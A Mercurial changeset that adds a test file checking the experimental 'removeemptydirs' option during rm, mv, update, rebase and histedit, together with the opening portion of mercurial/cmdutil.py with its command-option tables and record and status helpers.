unlinkpath: make empty directory removal optional (issue5901) (issue5826)

There are known cases where performing operations such as rebase from a
directory that is newly created can fail or at least lead to being in a
directory handle that no longer exists.

This is even reproducible by just doing something as simple as:

    cd foo; hg rm *

The behavior is different if you use `hg addremove`, the directory is not
removed until we attempt to go back to the node after committing it:

    cd foo; rm *; hg addremove; hg ci -m'bye foo'; hg co .^; hg co tip

Differential Revision: https://phab.mercurial-scm.org/D3859

tests/test-removeemptydirs.t

@@ -0,0 +1,242 b''
+Tests for experimental.removeemptydirs
+
+  $ NO_RM=--config=experimental.removeemptydirs=0
+  $ isdir() { if [ -d $1 ]; then echo yes; else echo no; fi }
+  $ isfile() { if [ -f $1 ]; then echo yes; else echo no; fi }
+
+`hg rm` of the last file in a directory:
+  $ hg init hgrm
+  $ cd hgrm
+  $ mkdir somedir
+  $ echo hi > somedir/foo
+  $ hg ci -qAm foo
+  $ isdir somedir
+  yes
+  $ hg rm somedir/foo
+  $ isdir somedir
+  no
+  $ hg revert -qa
+  $ isdir somedir
+  yes
+  $ hg $NO_RM rm somedir/foo
+  $ isdir somedir
+  yes
+  $ ls somedir
+  $ cd $TESTTMP
+
+`hg mv` of the last file in a directory:
+  $ hg init hgmv
+  $ cd hgmv
+  $ mkdir somedir
+  $ mkdir destdir
+  $ echo hi > somedir/foo
+  $ hg ci -qAm foo
+  $ isdir somedir
+  yes
+  $ hg mv somedir/foo destdir/foo
+  $ isdir somedir
+  no
+  $ hg revert -qa
+(revert doesn't get rid of destdir/foo?)
+  $ rm destdir/foo
+  $ isdir somedir
+  yes
+  $ hg $NO_RM mv somedir/foo destdir/foo
+  $ isdir somedir
+  yes
+  $ ls somedir
+  $ cd $TESTTMP
+
+Updating to a commit that doesn't have the directory:
+  $ hg init hgupdate
+  $ cd hgupdate
+  $ echo hi > r0
+  $ hg ci -qAm r0
+  $ mkdir somedir
+  $ echo hi > somedir/foo
+  $ hg ci -qAm r1
+  $ isdir somedir
+  yes
+  $ hg co -q -r ".^"
+  $ isdir somedir
+  no
+  $ hg co -q tip
+  $ isdir somedir
+  yes
+  $ hg $NO_RM co -q -r ".^"
+  $ isdir somedir
+  yes
+  $ ls somedir
+  $ cd $TESTTMP
+
+Rebasing across a commit that doesn't have the directory, from inside the
+directory:
+  $ hg init hgrebase
+  $ cd hgrebase
+  $ echo hi > r0
+  $ hg ci -qAm r0
+  $ mkdir somedir
+  $ echo hi > somedir/foo
+  $ hg ci -qAm first_rebase_source
+  $ hg $NO_RM co -q -r ".^"
+  $ echo hi > somedir/bar
+  $ hg ci -qAm first_rebase_dest
+  $ hg $NO_RM co -q -r ".^"
+  $ echo hi > somedir/baz
+  $ hg ci -qAm second_rebase_dest
+  $ hg co -qr 'desc(first_rebase_source)'
+  $ cd $TESTTMP/hgrebase/somedir
+  $ hg --config extensions.rebase= rebase -qr . -d 'desc(first_rebase_dest)'
+  current directory was removed
+  (consider changing to repo root: $TESTTMP/hgrebase)
+  $ cd $TESTTMP/hgrebase/somedir
+(The current node is the rebased first_rebase_source on top of
+first_rebase_dest)
+This should not output anything about current directory being removed:
+  $ hg $NO_RM --config extensions.rebase= rebase -qr . -d 'desc(second_rebase_dest)'
+  $ cd $TESTTMP
+
+Histediting across a commit that doesn't have the directory, from inside the
+directory (reordering nodes):
+  $ hg init hghistedit
+  $ cd hghistedit
+  $ echo hi > r0
+  $ hg ci -qAm r0
+  $ echo hi > r1
+  $ hg ci -qAm r1
+  $ echo hi > r2
+  $ hg ci -qAm r2
+  $ mkdir somedir
+  $ echo hi > somedir/foo
+  $ hg ci -qAm migrating_revision
+  $ cat > histedit_commands <<EOF
+  > pick 89079fab8aee 0 r0
+  > pick e6d271df3142 1 r1
+  > pick 89e25aa83f0f 3 migrating_revision
+  > pick b550aa12d873 2 r2
+  > EOF
+  $ cd $TESTTMP/hghistedit/somedir
+  $ hg --config extensions.histedit= histedit -q --commands ../histedit_commands
+
+histedit doesn't output anything when the current diretory is removed. We rely
+on the tests being commonly run on machines where the current directory
+disappearing from underneath us actually has an observable effect, such as an
+error or no files listed
+#if linuxormacos
+  $ isfile foo
+  no
+#endif
+  $ cd $TESTTMP/hghistedit/somedir
+  $ isfile foo
+  yes
+
+  $ cd $TESTTMP/hghistedit
+  $ cat > histedit_commands <<EOF
+  > pick 89079fab8aee 0 r0
+  > pick 7c7a22c6009f 3 migrating_revision
+  > pick e6d271df3142 1 r1
+  > pick 40a53c2d4276 2 r2
+  > EOF
+  $ cd $TESTTMP/hghistedit/somedir
+  $ hg $NO_RM --config extensions.histedit= histedit -q --commands ../histedit_commands
+Regardless of system, we should always get a 'yes' here.
+  $ isfile foo
+  yes
+  $ cd $TESTTMP
+
+This is essentially the exact test from issue5826, just cleaned up a little:
+
+  $ hg init issue5826_withrm
+  $ cd issue5826_withrm
+
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > histedit =
+  > EOF
+Commit three revisions that each create a directory:
+
+  $ mkdir foo
+  $ touch foo/bar
+  $ hg commit -qAm "add foo"
+
+  $ mkdir bar
+  $ touch bar/bar
+  $ hg commit -qAm "add bar"
+
+  $ mkdir baz
+  $ touch baz/bar
+  $ hg commit -qAm "add baz"
+
+Enter the first directory:
+
+  $ cd foo
+
+Histedit doing 'pick, pick, fold':
+
+  $ hg histedit --commands /dev/stdin <<EOF
+  > pick 6274c77c93c3 1 add bar
+  > pick ff70a87b588f 0 add foo
+  > fold 9992bb0ac0db 2 add baz
+  > EOF
+  abort: $ENOENT$
+  [255]
+
+Go back to the repo root after losing it as part of that operation:
+  $ cd $TESTTMP/issue5826_withrm
+
+Note the lack of a non-zero exit code from this function - it exits
+successfully, but doesn't really do anything.
+  $ hg histedit --continue
+  9992bb0ac0db: cannot fold - working copy is not a descendant of previous commit 5c806432464a
+  saved backup bundle to $TESTTMP/issue5826_withrm/.hg/strip-backup/ff70a87b588f-e94f9789-histedit.hg
+
+  $ hg log -T '{rev}:{node|short} {desc}\n'
+  2:94e3f9fae1d6 fold-temp-revision 9992bb0ac0db
+  1:5c806432464a add foo
+  0:d17db4b0303a add bar
+
+Now test that again with experimental.removeemptydirs=false:
+  $ hg init issue5826_norm
+  $ cd issue5826_norm
+
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > histedit =
+  > [experimental]
+  > removeemptydirs = false
+  > EOF
+Commit three revisions that each create a directory:
+
+  $ mkdir foo
+  $ touch foo/bar
+  $ hg commit -qAm "add foo"
+
+  $ mkdir bar
+  $ touch bar/bar
+  $ hg commit -qAm "add bar"
+
+  $ mkdir baz
+  $ touch baz/bar
+  $ hg commit -qAm "add baz"
+
+Enter the first directory:
+
+  $ cd foo
+
+Histedit doing 'pick, pick, fold':
+
+  $ hg histedit --commands /dev/stdin <<EOF
+  > pick 6274c77c93c3 1 add bar
+  > pick ff70a87b588f 0 add foo
+  > fold 9992bb0ac0db 2 add baz
+  > EOF
+  saved backup bundle to $TESTTMP/issue5826_withrm/issue5826_norm/.hg/strip-backup/5c806432464a-cd4c8d86-histedit.hg
+
+Note the lack of a 'cd' being necessary here, and we don't need to 'histedit
+--continue'
+
+  $ hg log -T '{rev}:{node|short} {desc}\n'
+  1:b9eddaa97cbc add foo
+  ***
+  add baz
+  0:d17db4b0303a add bar

mercurial/cmdutil.py

@@ -1,3259 +1,3263 b''
 # cmdutil.py - help for command processing in mercurial
 #
 # Copyright 2005-2007 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import errno
 import os
 import re
 
 from .i18n import _
 from .node import (
     hex,
     nullid,
     nullrev,
     short,
 )
 
 from . import (
     bookmarks,
     changelog,
     copies,
     crecord as crecordmod,
     dirstateguard,
     encoding,
     error,
     formatter,
     logcmdutil,
     match as matchmod,
     merge as mergemod,
     mergeutil,
     obsolete,
     patch,
     pathutil,
     phases,
     pycompat,
     revlog,
     rewriteutil,
     scmutil,
     smartset,
     subrepoutil,
     templatekw,
     templater,
     util,
     vfs as vfsmod,
 )
 
 from .utils import (
     dateutil,
     stringutil,
 )
 
 stringio = util.stringio
 
 # templates of common command options
 
 dryrunopts = [
     ('n', 'dry-run', None,
      _('do not perform actions, just print output')),
 ]
 
 remoteopts = [
     ('e', 'ssh', '',
      _('specify ssh command to use'), _('CMD')),
     ('', 'remotecmd', '',
      _('specify hg command to run on the remote side'), _('CMD')),
     ('', 'insecure', None,
      _('do not verify server certificate (ignoring web.cacerts config)')),
 ]
 
 walkopts = [
     ('I', 'include', [],
      _('include names matching the given patterns'), _('PATTERN')),
     ('X', 'exclude', [],
      _('exclude names matching the given patterns'), _('PATTERN')),
 ]
 
 commitopts = [
     ('m', 'message', '',
      _('use text as commit message'), _('TEXT')),
     ('l', 'logfile', '',
      _('read commit message from file'), _('FILE')),
 ]
 
 commitopts2 = [
     ('d', 'date', '',
      _('record the specified date as commit date'), _('DATE')),
     ('u', 'user', '',
      _('record the specified user as committer'), _('USER')),
 ]
 
 # hidden for now
 formatteropts = [
     ('T', 'template', '',
      _('display with template (EXPERIMENTAL)'), _('TEMPLATE')),
 ]
 
 templateopts = [
     ('', 'style', '',
      _('display using template map file (DEPRECATED)'), _('STYLE')),
     ('T', 'template', '',
      _('display with template'), _('TEMPLATE')),
 ]
 
 logopts = [
     ('p', 'patch', None, _('show patch')),
     ('g', 'git', None, _('use git extended diff format')),
     ('l', 'limit', '',
      _('limit number of changes displayed'), _('NUM')),
     ('M', 'no-merges', None, _('do not show merges')),
     ('', 'stat', None, _('output diffstat-style summary of changes')),
     ('G', 'graph', None, _("show the revision DAG")),
 ] + templateopts
 
 diffopts = [
     ('a', 'text', None, _('treat all files as text')),
     ('g', 'git', None, _('use git extended diff format')),
     ('', 'binary', None, _('generate binary diffs in git mode (default)')),
     ('', 'nodates', None, _('omit dates from diff headers'))
 ]
 
 diffwsopts = [
     ('w', 'ignore-all-space', None,
      _('ignore white space when comparing lines')),
     ('b', 'ignore-space-change', None,
      _('ignore changes in the amount of white space')),
     ('B', 'ignore-blank-lines', None,
      _('ignore changes whose lines are all blank')),
     ('Z', 'ignore-space-at-eol', None,
      _('ignore changes in whitespace at EOL')),
 ]
 
 diffopts2 = [
     ('', 'noprefix', None, _('omit a/ and b/ prefixes from filenames')),
     ('p', 'show-function', None, _('show which function each change is in')),
     ('', 'reverse', None, _('produce a diff that undoes the changes')),
 ] + diffwsopts + [
     ('U', 'unified', '',
      _('number of lines of context to show'), _('NUM')),
     ('', 'stat', None, _('output diffstat-style summary of changes')),
     ('', 'root', '', _('produce diffs relative to subdirectory'), _('DIR')),
 ]
 
 mergetoolopts = [
     ('t', 'tool', '', _('specify merge tool')),
 ]
 
 similarityopts = [
     ('s', 'similarity', '',
      _('guess renamed files by similarity (0<=s<=100)'), _('SIMILARITY'))
 ]
 
 subrepoopts = [
     ('S', 'subrepos', None,
      _('recurse into subrepositories'))
 ]
 
 debugrevlogopts = [
     ('c', 'changelog', False, _('open changelog')),
     ('m', 'manifest', False, _('open manifest')),
     ('', 'dir', '', _('open directory manifest')),
 ]
 
 # special string such that everything below this line will be ingored in the
 # editor text
 _linebelow = "^HG: ------------------------ >8 ------------------------$"
 
 def ishunk(x):
     hunkclasses = (crecordmod.uihunk, patch.recordhunk)
     return isinstance(x, hunkclasses)
 
 def newandmodified(chunks, originalchunks):
     newlyaddedandmodifiedfiles = set()
     for chunk in chunks:
         if ishunk(chunk) and chunk.header.isnewfile() and chunk not in \
             originalchunks:
             newlyaddedandmodifiedfiles.add(chunk.header.filename())
     return newlyaddedandmodifiedfiles
 
 def parsealiases(cmd):
     return cmd.lstrip("^").split("|")
 
 def setupwrapcolorwrite(ui):
     # wrap ui.write so diff output can be labeled/colorized
     def wrapwrite(orig, *args, **kw):
         label = kw.pop(r'label', '')
         for chunk, l in patch.difflabel(lambda: args):
             orig(chunk, label=label + l)
 
     oldwrite = ui.write
     def wrap(*args, **kwargs):
         return wrapwrite(oldwrite, *args, **kwargs)
     setattr(ui, 'write', wrap)
     return oldwrite
 
 def filterchunks(ui, originalhunks, usecurses, testfile, operation=None):
     try:
         if usecurses:
             if testfile:
                 recordfn = crecordmod.testdecorator(
                     testfile, crecordmod.testchunkselector)
             else:
                 recordfn = crecordmod.chunkselector
 
             return crecordmod.filterpatch(ui, originalhunks, recordfn,
                                           operation)
     except crecordmod.fallbackerror as e:
         ui.warn('%s\n' % e.message)
         ui.warn(_('falling back to text mode\n'))
 
     return patch.filterpatch(ui, originalhunks, operation)
 
 def recordfilter(ui, originalhunks, operation=None):
     """ Prompts the user to filter the originalhunks and return a list of
     selected hunks.
     *operation* is used for to build ui messages to indicate the user what
     kind of filtering they are doing: reverting, committing, shelving, etc.
     (see patch.filterpatch).
     """
     usecurses = crecordmod.checkcurses(ui)
     testfile = ui.config('experimental', 'crecordtest')
     oldwrite = setupwrapcolorwrite(ui)
     try:
         newchunks, newopts = filterchunks(ui, originalhunks, usecurses,
                                           testfile, operation)
     finally:
         ui.write = oldwrite
     return newchunks, newopts
 
 def dorecord(ui, repo, commitfunc, cmdsuggest, backupall,
             filterfn, *pats, **opts):
     opts = pycompat.byteskwargs(opts)
     if not ui.interactive():
         if cmdsuggest:
             msg = _('running non-interactively, use %s instead') % cmdsuggest
         else:
             msg = _('running non-interactively')
         raise error.Abort(msg)
 
     # make sure username is set before going interactive
     if not opts.get('user'):
         ui.username() # raise exception, username not provided
 
     def recordfunc(ui, repo, message, match, opts):
         """This is generic record driver.
 
         Its job is to interactively filter local changes, and
         accordingly prepare working directory into a state in which the
         job can be delegated to a non-interactive commit command such as
         'commit' or 'qrefresh'.
 
         After the actual job is done by non-interactive command, the
         working directory is restored to its original state.
 
         In the end we'll record interesting changes, and everything else
         will be left in place, so the user can continue working.
         """
 
         checkunfinished(repo, commit=True)
         wctx = repo[None]
         merge = len(wctx.parents()) > 1
         if merge:
             raise error.Abort(_('cannot partially commit a merge '
                                '(use "hg commit" instead)'))
 
         def fail(f, msg):
             raise error.Abort('%s: %s' % (f, msg))
 
         force = opts.get('force')
         if not force:
             vdirs = []
             match.explicitdir = vdirs.append
             match.bad = fail
 
         status = repo.status(match=match)
         if not force:
             repo.checkcommitpatterns(wctx, vdirs, match, status, fail)
         diffopts = patch.difffeatureopts(ui, opts=opts, whitespace=True)
         diffopts.nodates = True
         diffopts.git = True
         diffopts.showfunc = True
         originaldiff = patch.diff(repo, changes=status, opts=diffopts)
         originalchunks = patch.parsepatch(originaldiff)
 
         # 1. filter patch, since we are intending to apply subset of it
         try:
             chunks, newopts = filterfn(ui, originalchunks)
         except error.PatchError as err:
             raise error.Abort(_('error parsing patch: %s') % err)
         opts.update(newopts)
 
         # We need to keep a backup of files that have been newly added and
         # modified during the recording process because there is a previous
         # version without the edit in the workdir
         newlyaddedandmodifiedfiles = newandmodified(chunks, originalchunks)
         contenders = set()
         for h in chunks:
             try:
                 contenders.update(set(h.files()))
             except AttributeError:
                 pass
 
         changed = status.modified + status.added + status.removed
         newfiles = [f for f in changed if f in contenders]
         if not newfiles:
             ui.status(_('no changes to record\n'))
             return 0
 
         modified = set(status.modified)
 
         # 2. backup changed files, so we can restore them in the end
 
         if backupall:
             tobackup = changed
         else:
             tobackup = [f for f in newfiles if f in modified or f in \
                     newlyaddedandmodifiedfiles]
         backups = {}
         if tobackup:
             backupdir = repo.vfs.join('record-backups')
             try:
                 os.mkdir(backupdir)
             except OSError as err:
                 if err.errno != errno.EEXIST:
                     raise
         try:
             # backup continues
             for f in tobackup:
                 fd, tmpname = pycompat.mkstemp(prefix=f.replace('/', '_') + '.',
                                                dir=backupdir)
                 os.close(fd)
                 ui.debug('backup %r as %r\n' % (f, tmpname))
                 util.copyfile(repo.wjoin(f), tmpname, copystat=True)
                 backups[f] = tmpname
 
             fp = stringio()
             for c in chunks:
                 fname = c.filename()
                 if fname in backups:
                     c.write(fp)
             dopatch = fp.tell()
             fp.seek(0)
 
             # 2.5 optionally review / modify patch in text editor
             if opts.get('review', False):
                 patchtext = (crecordmod.diffhelptext
                              + crecordmod.patchhelptext
                              + fp.read())
                 reviewedpatch = ui.edit(patchtext, "",
                                         action="diff",
                                         repopath=repo.path)
                 fp.truncate(0)
                 fp.write(reviewedpatch)
                 fp.seek(0)
 
             [os.unlink(repo.wjoin(c)) for c in newlyaddedandmodifiedfiles]
             # 3a. apply filtered patch to clean repo  (clean)
             if backups:
                 # Equivalent to hg.revert
                 m = scmutil.matchfiles(repo, backups.keys())
                 mergemod.update(repo, repo.dirstate.p1(),
                         False, True, matcher=m)
 
             # 3b. (apply)
             if dopatch:
                 try:
                     ui.debug('applying patch\n')
                     ui.debug(fp.getvalue())
                     patch.internalpatch(ui, repo, fp, 1, eolmode=None)
                 except error.PatchError as err:
                     raise error.Abort(pycompat.bytestr(err))
             del fp
 
             # 4. We prepared working directory according to filtered
             #    patch. Now is the time to delegate the job to
             #    commit/qrefresh or the like!
 
             # Make all of the pathnames absolute.
             newfiles = [repo.wjoin(nf) for nf in newfiles]
             return commitfunc(ui, repo, *newfiles, **pycompat.strkwargs(opts))
         finally:
             # 5. finally restore backed-up files
             try:
                 dirstate = repo.dirstate
                 for realname, tmpname in backups.iteritems():
                     ui.debug('restoring %r to %r\n' % (tmpname, realname))
 
                     if dirstate[realname] == 'n':
                         # without normallookup, restoring timestamp
                         # may cause partially committed files
                         # to be treated as unmodified
                         dirstate.normallookup(realname)
 
                     # copystat=True here and above are a hack to trick any
                     # editors that have f open that we haven't modified them.
                     #
                     # Also note that this racy as an editor could notice the
                     # file's mtime before we've finished writing it.
                     util.copyfile(tmpname, repo.wjoin(realname), copystat=True)
                     os.unlink(tmpname)
                 if tobackup:
                     os.rmdir(backupdir)
             except OSError:
                 pass
 
     def recordinwlock(ui, repo, message, match, opts):
         with repo.wlock():
             return recordfunc(ui, repo, message, match, opts)
 
     return commit(ui, repo, recordinwlock, pats, opts)
 
 class dirnode(object):
     """
     Represent a directory in user working copy with information required for
     the purpose of tersing its status.
 
     path is the path to the directory, without a trailing '/'
 
     statuses is a set of statuses of all files in this directory (this includes
     all the files in all the subdirectories too)
 
     files is a list of files which are direct child of this directory
 
     subdirs is a dictionary of sub-directory name as the key and it's own
     dirnode object as the value
     """
 
     def __init__(self, dirpath):
         self.path = dirpath
         self.statuses = set([])
         self.files = []
         self.subdirs = {}
 
     def _addfileindir(self, filename, status):
         """Add a file in this directory as a direct child."""
         self.files.append((filename, status))
 
     def addfile(self, filename, status):
         """
         Add a file to this directory or to its direct parent directory.
 
         If the file is not direct child of this directory, we traverse to the
         directory of which this file is a direct child of and add the file
         there.
         """
 
         # the filename contains a path separator, it means it's not the direct
         # child of this directory
         if '/' in filename:
             subdir, filep = filename.split('/', 1)
 
             # does the dirnode object for subdir exists
             if subdir not in self.subdirs:
                 subdirpath = pathutil.join(self.path, subdir)
                 self.subdirs[subdir] = dirnode(subdirpath)
 
             # try adding the file in subdir
             self.subdirs[subdir].addfile(filep, status)
 
         else:
             self._addfileindir(filename, status)
 
         if status not in self.statuses:
             self.statuses.add(status)
 
     def iterfilepaths(self):
         """Yield (status, path) for files directly under this directory."""
         for f, st in self.files:
             yield st, pathutil.join(self.path, f)
 
     def tersewalk(self, terseargs):
         """
         Yield (status, path) obtained by processing the status of this
         dirnode.
 
         terseargs is the string of arguments passed by the user with `--terse`
         flag.
 
         Following are the cases which can happen:
 
         1) All the files in the directory (including all the files in its
         subdirectories) share the same status and the user has asked us to terse
         that status. -> yield (status, dirpath).  dirpath will end in '/'.
 
         2) Otherwise, we do following:
 
                 a) Yield (status, filepath)  for all the files which are in this
                     directory (only the ones in this directory, not the subdirs)
 
                 b) Recurse the function on all the subdirectories of this
                    directory
         """
 
         if len(self.statuses) == 1:
             onlyst = self.statuses.pop()
 
             # Making sure we terse only when the status abbreviation is
             # passed as terse argument
             if onlyst in terseargs:
                 yield onlyst, self.path + '/'
                 return
 
         # add the files to status list
         for st, fpath in self.iterfilepaths():
             yield st, fpath
 
         #recurse on the subdirs
         for dirobj in self.subdirs.values():
             for st, fpath in dirobj.tersewalk(terseargs):
                 yield st, fpath
 
 def tersedir(statuslist, terseargs):
     """
     Terse the status if all the files in a directory shares the same status.
 
     statuslist is scmutil.status() object which contains a list of files for
     each status.
     terseargs is string which is passed by the user as the argument to `--terse`
     flag.
 
     The function makes a tree of objects of dirnode class, and at each node it
     stores the information required to know whether we can terse a certain
     directory or not.
     """
     # the order matters here as that is used to produce final list
     allst = ('m', 'a', 'r', 'd', 'u', 'i', 'c')
 
     # checking the argument validity
     for s in pycompat.bytestr(terseargs):
         if s not in allst:
             raise error.Abort(_("'%s' not recognized") % s)
 
     # creating a dirnode object for the root of the repo
     rootobj = dirnode('')
     pstatus = ('modified', 'added', 'deleted', 'clean', 'unknown',
                'ignored', 'removed')
 
     tersedict = {}
     for attrname in pstatus:
         statuschar = attrname[0:1]
         for f in getattr(statuslist, attrname):
             rootobj.addfile(f, statuschar)
         tersedict[statuschar] = []
 
     # we won't be tersing the root dir, so add files in it
     for st, fpath in rootobj.iterfilepaths():
         tersedict[st].append(fpath)
 
     # process each sub-directory and build tersedict
     for subdir in rootobj.subdirs.values():
         for st, f in subdir.tersewalk(terseargs):
             tersedict[st].append(f)
 
     tersedlist = []
     for st in allst:
         tersedict[st].sort()
         tersedlist.append(tersedict[st])
 
     return tersedlist
 
 def _commentlines(raw):
     '''Surround lineswith a comment char and a new line'''
     lines = raw.splitlines()
     commentedlines = ['# %s' % line for line in lines]
     return '\n'.join(commentedlines) + '\n'
 
 def _conflictsmsg(repo):
     mergestate = mergemod.mergestate.read(repo)
     if not mergestate.active():
         return
 
     m = scmutil.match(repo[None])
     unresolvedlist = [f for f in mergestate.unresolved() if m(f)]
     if unresolvedlist:
         mergeliststr = '\n'.join(
             ['    %s' % util.pathto(repo.root, pycompat.getcwd(), path)
              for path in unresolvedlist])
         msg = _('''Unresolved merge conflicts:
 
 %s
 
 To mark files as resolved:  hg resolve --mark FILE''') % mergeliststr
     else:
         msg = _('No unresolved merge conflicts.')
 
     return _commentlines(msg)
 
 def _helpmessage(continuecmd, abortcmd):
     msg = _('To continue:    %s\n'
             'To abort:       %s') % (continuecmd, abortcmd)
     return _commentlines(msg)
 
 def _rebasemsg():
     return _helpmessage('hg rebase --continue', 'hg rebase --abort')
 
 def _histeditmsg():
     return _helpmessage('hg histedit --continue', 'hg histedit --abort')
 
 def _unshelvemsg():
     return _helpmessage('hg unshelve --continue', 'hg unshelve --abort')
 
 def _updatecleanmsg(dest=None):
     warning = _('warning: this will discard uncommitted changes')
     return 'hg update --clean %s (%s)' % (dest or '.', warning)
 
 def _graftmsg():
     # tweakdefaults requires `update` to have a rev hence the `.`
     return _helpmessage('hg graft --continue', _updatecleanmsg())
 
 def _mergemsg():
     # tweakdefaults requires `update` to have a rev hence the `.`
      return _helpmessage('hg commit', _updatecleanmsg())
 
 def _bisectmsg():
     msg = _('To mark the changeset good:    hg bisect --good\n'
             'To mark the changeset bad:     hg bisect --bad\n'
             'To abort:                      hg bisect --reset\n')
     return _commentlines(msg)
 
 def fileexistspredicate(filename):
     return lambda repo: repo.vfs.exists(filename)
 
 def _mergepredicate(repo):
     return len(repo[None].parents()) > 1
 
 STATES = (
     # (state, predicate to detect states, helpful message function)
     ('histedit', fileexistspredicate('histedit-state'), _histeditmsg),
     ('bisect', fileexistspredicate('bisect.state'), _bisectmsg),
     ('graft', fileexistspredicate('graftstate'), _graftmsg),
     ('unshelve', fileexistspredicate('shelvedstate'), _unshelvemsg),
     ('rebase', fileexistspredicate('rebasestate'), _rebasemsg),
     # The merge state is part of a list that will be iterated over.
     # They need to be last because some of the other unfinished states may also
     # be in a merge or update state (eg. rebase, histedit, graft, etc).
     # We want those to have priority.
     ('merge', _mergepredicate, _mergemsg),
 )
 
 def _getrepostate(repo):
     # experimental config: commands.status.skipstates
     skip = set(repo.ui.configlist('commands', 'status.skipstates'))
     for state, statedetectionpredicate, msgfn in STATES:
         if state in skip:
             continue
         if statedetectionpredicate(repo):
             return (state, statedetectionpredicate, msgfn)
 
 def morestatus(repo, fm):
     statetuple = _getrepostate(repo)
     label = 'status.morestatus'
     if statetuple:
         fm.startitem()
         state, statedetectionpredicate, helpfulmsg = statetuple
         statemsg = _('The repository is in an unfinished *%s* state.') % state
         fm.write('statemsg', '%s\n',  _commentlines(statemsg), label=label)
         conmsg = _conflictsmsg(repo)
         if conmsg:
             fm.write('conflictsmsg', '%s\n', conmsg, label=label)
         if helpfulmsg:
             helpmsg = helpfulmsg()
             fm.write('helpmsg', '%s\n', helpmsg, label=label)
 
 def findpossible(cmd, table, strict=False):
     """
     Return cmd -> (aliases, command table entry)
     for each matching command.
     Return debug commands (or their aliases) only if no normal command matches.
     """
     choice = {}
     debugchoice = {}
 
     if cmd in table:
         # short-circuit exact matches, "log" alias beats "^log|history"
         keys = [cmd]
     else:
         keys = table.keys()
 
     allcmds = []
     for e in keys:
         aliases = parsealiases(e)
         allcmds.extend(aliases)
         found = None
         if cmd in aliases:
             found = cmd
         elif not strict:
             for a in aliases:
                 if a.startswith(cmd):
                     found = a
                     break
         if found is not None:
             if aliases[0].startswith("debug") or found.startswith("debug"):
                 debugchoice[found] = (aliases, table[e])
             else:
                 choice[found] = (aliases, table[e])
 
     if not choice and debugchoice:
         choice = debugchoice
 
     return choice, allcmds
 
 def findcmd(cmd, table, strict=True):
     """Return (aliases, command table entry) for command string."""
     choice, allcmds = findpossible(cmd, table, strict)
 
     if cmd in choice:
         return choice[cmd]
 
     if len(choice) > 1:
         clist = sorted(choice)
         raise error.AmbiguousCommand(cmd, clist)
 
     if choice:
         return list(choice.values())[0]
 
     raise error.UnknownCommand(cmd, allcmds)
 
 def changebranch(ui, repo, revs, label):
     """ Change the branch name of given revs to label """
 
     with repo.wlock(), repo.lock(), repo.transaction('branches'):
         # abort in case of uncommitted merge or dirty wdir
         bailifchanged(repo)
         revs = scmutil.revrange(repo, revs)
         if not revs:
             raise error.Abort("empty revision set")
         roots = repo.revs('roots(%ld)', revs)
         if len(roots) > 1:
             raise error.Abort(_("cannot change branch of non-linear revisions"))
         rewriteutil.precheck(repo, revs, 'change branch of')
 
         root = repo[roots.first()]
         if not root.p1().branch() == label and label in repo.branchmap():
             raise error.Abort(_("a branch of the same name already exists"))
 
         if repo.revs('merge() and %ld', revs):
             raise error.Abort(_("cannot change branch of a merge commit"))
         if repo.revs('obsolete() and %ld', revs):
             raise error.Abort(_("cannot change branch of a obsolete changeset"))
 
         # make sure only topological heads
         if repo.revs('heads(%ld) - head()', revs):
             raise error.Abort(_("cannot change branch in middle of a stack"))
 
         replacements = {}
         # avoid import cycle mercurial.cmdutil -> mercurial.context ->
         # mercurial.subrepo -> mercurial.cmdutil
         from . import context
         for rev in revs:
             ctx = repo[rev]
             oldbranch = ctx.branch()
             # check if ctx has same branch
             if oldbranch == label:
                 continue
 
             def filectxfn(repo, newctx, path):
                 try:
                     return ctx[path]
                 except error.ManifestLookupError:
                     return None
 
             ui.debug("changing branch of '%s' from '%s' to '%s'\n"
                      % (hex(ctx.node()), oldbranch, label))
             extra = ctx.extra()
             extra['branch_change'] = hex(ctx.node())
             # While changing branch of set of linear commits, make sure that
             # we base our commits on new parent rather than old parent which
             # was obsoleted while changing the branch
             p1 = ctx.p1().node()
             p2 = ctx.p2().node()
             if p1 in replacements:
                 p1 = replacements[p1][0]
             if p2 in replacements:
                 p2 = replacements[p2][0]
 
             mc = context.memctx(repo, (p1, p2),
                                 ctx.description(),
                                 ctx.files(),
                                 filectxfn,
                                 user=ctx.user(),
                                 date=ctx.date(),
                                 extra=extra,
                                 branch=label)
 
             newnode = repo.commitctx(mc)
             replacements[ctx.node()] = (newnode,)
             ui.debug('new node id is %s\n' % hex(newnode))
 
         # create obsmarkers and move bookmarks
         scmutil.cleanupnodes(repo, replacements, 'branch-change', fixphase=True)
 
         # move the working copy too
         wctx = repo[None]
         # in-progress merge is a bit too complex for now.
         if len(wctx.parents()) == 1:
             newid = replacements.get(wctx.p1().node())
             if newid is not None:
                 # avoid import cycle mercurial.cmdutil -> mercurial.hg ->
                 # mercurial.cmdutil
                 from . import hg
                 hg.update(repo, newid[0], quietempty=True)
 
         ui.status(_("changed branch on %d changesets\n") % len(replacements))
 
 def findrepo(p):
     while not os.path.isdir(os.path.join(p, ".hg")):
         oldp, p = p, os.path.dirname(p)
         if p == oldp:
             return None
 
     return p
 
 def bailifchanged(repo, merge=True, hint=None):
     """ enforce the precondition that working directory must be clean.
 
     'merge' can be set to false if a pending uncommitted merge should be
     ignored (such as when 'update --check' runs).
 
     'hint' is the usual hint given to Abort exception.
     """
 
     if merge and repo.dirstate.p2() != nullid:
         raise error.Abort(_('outstanding uncommitted merge'), hint=hint)
     modified, added, removed, deleted = repo.status()[:4]
     if modified or added or removed or deleted:
         raise error.Abort(_('uncommitted changes'), hint=hint)
     ctx = repo[None]
     for s in sorted(ctx.substate):
         ctx.sub(s).bailifchanged(hint=hint)
 
 def logmessage(ui, opts):
     """ get the log message according to -m and -l option """
     message = opts.get('message')
     logfile = opts.get('logfile')
 
     if message and logfile:
         raise error.Abort(_('options --message and --logfile are mutually '
                            'exclusive'))
     if not message and logfile:
         try:
             if isstdiofilename(logfile):
                 message = ui.fin.read()
             else:
                 message = '\n'.join(util.readfile(logfile).splitlines())
         except IOError as inst:
             raise error.Abort(_("can't read commit message '%s': %s") %
                              (logfile, encoding.strtolocal(inst.strerror)))
     return message
 
 def mergeeditform(ctxorbool, baseformname):
     """return appropriate editform name (referencing a committemplate)
 
     'ctxorbool' is either a ctx to be committed, or a bool indicating whether
     merging is committed.
 
     This returns baseformname with '.merge' appended if it is a merge,
